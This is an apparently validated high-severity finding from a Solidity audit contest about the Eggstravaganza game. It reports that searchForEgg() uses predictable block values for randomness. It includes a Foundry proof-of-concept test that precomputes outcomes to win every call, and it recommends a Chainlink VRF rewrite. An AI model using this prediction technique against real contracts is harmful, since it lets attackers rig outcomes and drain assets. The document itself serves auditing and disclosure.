Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Insecure Weak Randomness in Egg Finding Mechanism searchForEgg() Function

Summary

The searchForEgg() function uses a predictable source of randomness that can be manipulated by miners or users to guarantee finding eggs. The use of keccak256 hash functions on predictable values like block.timestamp, block.number, or similar data, including modulo operations on these values, should be avoided for generating randomness, as they are easily predictable and manipulable. The `PREVRANDAO` opcode also should not be used as a source of randomness.

Vulnerability Details

The random number generation in searchForEgg() uses block attributes and other predictable values:

uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))) % 100;
  1. block.timestamp can be influenced by miners within a small window

  2. block.prevrandao (formerly known as block.difficulty) is also known to validators/miners

  3. msg.sender and eggCounter are known values

An attacker can calculate the outcome before calling the function and only execute the transaction when they know they'll find an egg.

Impact

Impact: High. This vulnerability allows attackers to:

  • Mint eggs with 100% success rate instead of the intended probability

  • Drain the system of valuable NFTs

  • Undermine the entire game mechanic

Tools Used

Manual code review, also used Proof of Code function testPredictableRandomness() to test the weak randomness vulnerability and prove exploit gives a 100% success rate when the function is called.

function testPredictableRandomness() public {
// Initial state
uint256 eggInitialEggCounter = s_eggGame.eggCounter();
uint256 eggInitialPlayerEggs = s_eggGame.eggsFound(s_player);
vm.startPrank(s_player);
// Attacker can determine if they'll find an egg before calling the function
uint256 eggSuccessfulFinds = 0;
uint256 eggAttempts = 20;
for (uint256 eggAttempt = 0; eggAttempt < eggAttempts; eggAttempt++) {
// Simulate the different block paramters
vm.warp(block.timestamp + eggAttempt); // Change timestamp
vm.roll(block.number + eggAttempt); // change block number
bytes32 eggMockPrevrandao = bytes32(uint256(eggAttempt * 100)); // Mock prevrandao change
vm.prevrandao(eggMockPrevrandao);
// Pre-calcualate if this attempt will succeed
uint256 eggExpectRandom = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, s_player, s_eggGame.eggCounter()))
) % 100;
// Only call searchForEgg if we know it will succeed
if (eggExpectRandom < s_eggGame.eggFindThreshold()) {
s_eggGame.searchForEgg();
eggSuccessfulFinds++;
}
}
vm.stopPrank();
// The attacker should have sucessfully found eggs every time they called searchForEgg
assertEq(s_eggGame.eggsFound(s_player) - eggInitialPlayerEggs, eggSuccessfulFinds);
assertEq(s_eggGame.eggCounter(), eggInitialEggCounter + eggSuccessfulFinds);
// In an normal scenario with 5% chance, we'd expect around 1 success in 20 attempts
// The exploit gives a 100% success rate when the function is called
console.log("Successful egg finds:", eggSuccessfulFinds);
console.log("Success rate when function called: 100%");
}

Recommendations

  1. Use a secure source of randomness like Chainlink VRF

  2. Implement a two-transaction commit-reveal scheme

  3. Consider using future block values with a commit-reveal approach

// Chainlink VRF Variables
VRFCoordinatorV2Interface private immutable COORDINATOR;
bytes32 private immutable keyHash;
uint64 private immutable subscriptionId;
uint32 private immutable callbackGasLimit = 100000;
uint16 private immutable requestConfirmations = 3;
uint32 private immutable numWords = 1;
// Mapping from requestId to the player who initiated the request
mapping(uint256 => address) private vrfRequests;
// Mapping to track if a player has an ongoing search attempt
mapping(address => bool) public pendingSearches;
/// @notice Initializes the game with deployed contract addresses and Chainlink VRF config.
constructor(
address _eggNFTAddress,
address _eggVaultAddress,
address _vrfCoordinator,
bytes32 _keyHash,
uint64 _subscriptionId
)
VRFConsumerBaseV2(_vrfCoordinator)
Ownable(msg.sender)
{
require(_eggNFTAddress != address(0), "Invalid NFT address");
require(_eggVaultAddress != address(0), "Invalid vault address");
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
eggVault = EggVault(_eggVaultAddress);
COORDINATOR = VRFCoordinatorV2Interface(_vrfCoordinator);
keyHash = _keyHash;
subscriptionId = _subscriptionId;
}
/// @notice Participants call this function to initiate a search for an egg.
/// This function requests randomness from Chainlink VRF.
function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
require(!pendingSearches[msg.sender], "Search already pending");
// Request randomness from Chainlink VRF
uint256 requestId = COORDINATOR.requestRandomWords(
keyHash,
subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
// Store the request details
vrfRequests[requestId] = msg.sender;
pendingSearches[msg.sender] = true;
emit SearchInitiated(msg.sender, requestId);
}
/// @notice Callback function used by Chainlink VRF to deliver randomness
function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
address player = vrfRequests[requestId];
require(player != address(0), "Invalid request ID");
// Clear the pending status
pendingSearches[player] = false;
// If the game has ended by the time we get the random number, do nothing
if (!gameActive || block.timestamp > endTime) {
return;
}
// Use the random number to determine if an egg is found
uint256 random = randomWords[0] % 100;
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[player] += 1;
eggNFT.mintEgg(player, eggCounter);
emit EggFound(player, eggCounter, eggsFound[player]);
}
// Clean up the request mapping
delete vrfRequests[requestId];
}
/// @notice Returns a human-readable status of the game.
function getGameStatus() external view returns (string memory) {
if (gameActive) {
if (block.timestamp < startTime) {
return "Game not started yet";
} else if (block.timestamp >= startTime && block.timestamp <= endTime) {
return "Game is active";
} else {
return "Game time elapsed";
}
} else {
return "Game is not active";
}
}
/// @notice Returns the number of seconds remaining in the game.
function getTimeRemaining() external view returns (uint256) {
return block.timestamp >= endTime ? 0 : endTime - block.timestamp;
}
/// @notice Checks if a player has a pending search request
function hasPendingSearch(address player) external view returns (bool) {
return pendingSearches[player];
}
Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!